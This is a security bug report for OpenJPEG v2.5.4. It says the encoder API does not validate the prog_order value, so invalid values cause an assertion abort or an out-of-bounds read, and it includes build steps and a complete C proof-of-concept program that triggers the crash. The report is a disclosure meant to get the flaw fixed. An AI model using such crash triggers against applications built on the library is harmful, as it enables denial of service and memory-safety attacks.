[Bug] Missing Input Validation in Encoder API (`prog_order` parameter)

[ipwning]

Summary

The encoder API opj_setup_encoder() does not validate the prog_order parameter, allowing invalid values that cause assertion failure (debug build) or out-of-bounds read (release build).

Affected Version

• OpenJPEG v2.5.4 (current master)

Vulnerability Details

Vulnerabilities occur in the following two areas.

1. Missing validation in opj_j2k_setup_encoder():

// j2k.c:8166
tcp->prg = parameters->prog_order;  // <- No validation here 

2. Crash occurs in opj_j2k_get_num_tp():

// j2k.c:1770-1775
prog = opj_j2k_convert_progression_order(tcp->prg);
assert(strlen(prog) > 0);

for (i = 0; i < 4; ++i) {
    switch (prog[i]) {

Valid prog_order values: 0-4 (OPJ_CPRL, OPJ_LRCP, OPJ_PCRL, OPJ_RLCP, OPJ_RPCL)

Invalid values (>=5): opj_j2k_convert_progression_order() returns empty string "", causing:

• Debug build: assert(strlen(prog) > 0) fails and it occures SIGABRT
• Release build: prog[1], prog[2], prog[3] are out-of-bounds reads

The CLI tool (opj_compress) validates progression order via string parsing, but the library API does not validate the integer enum value directly. Third-party applications using the API without validation are vulnerable.

Reproduction

Build OpenJPEG (Debug build)

git clone https://github.com/uclouvain/openjpeg.git
cd openjpeg
mkdir build && cd build
cmake -DCMAKE_BUILD_TYPE=Debug ..
make -j$(nproc)

Create PoC file (poc.c)

#include <openjpeg.h>
#include <stdio.h>

static OPJ_SIZE_T write_callback(void *buf, OPJ_SIZE_T size, void *data) {
    return size;
}
static OPJ_BOOL seek_callback(OPJ_OFF_T size, void *data) {
    return OPJ_TRUE;
}

int main() {
    // Create 128x128 grayscale image
    opj_image_cmptparm_t cmptparm = {0};
    cmptparm.prec = 8;
    cmptparm.w = cmptparm.h = 128;
    cmptparm.dx = cmptparm.dy = 1;

    opj_image_t* image = opj_image_create(1, &cmptparm, OPJ_CLRSPC_GRAY);
    image->x0 = image->y0 = 0;
    image->x1 = image->y1 = 128;

    for (int i = 0; i < 128*128; i++)
        image->comps[0].data[i] = i % 256;

    // Setup encoder with INVALID prog_order
    opj_cparameters_t params;
    opj_set_default_encoder_parameters(&params);
    params.prog_order = (OPJ_PROG_ORDER)8;  // Invalid! (valid: 0-4)

    opj_codec_t* codec = opj_create_compress(OPJ_CODEC_J2K);
    opj_setup_encoder(codec, &params, image);  // No validation!

    opj_stream_t* stream = opj_stream_create(1024*1024, OPJ_FALSE);
    opj_stream_set_write_function(stream, write_callback);
    opj_stream_set_seek_function(stream, seek_callback);
    opj_stream_set_user_data(stream, NULL, NULL);

    // Trigger crash
    if (opj_start_compress(codec, image, stream)) {
        opj_encode(codec, stream);  // Crash here!
        opj_end_compress(codec, stream);
    }

    opj_stream_destroy(stream);
    opj_destroy_codec(codec);
    opj_image_destroy(image);
    return 0;
}

Build PoC

gcc -g poc.c -o poc -I../src/lib/openjp2 -I./src/lib/openjp2 ./bin/libopenjp2.a -lm -lpthread

Trigger

./poc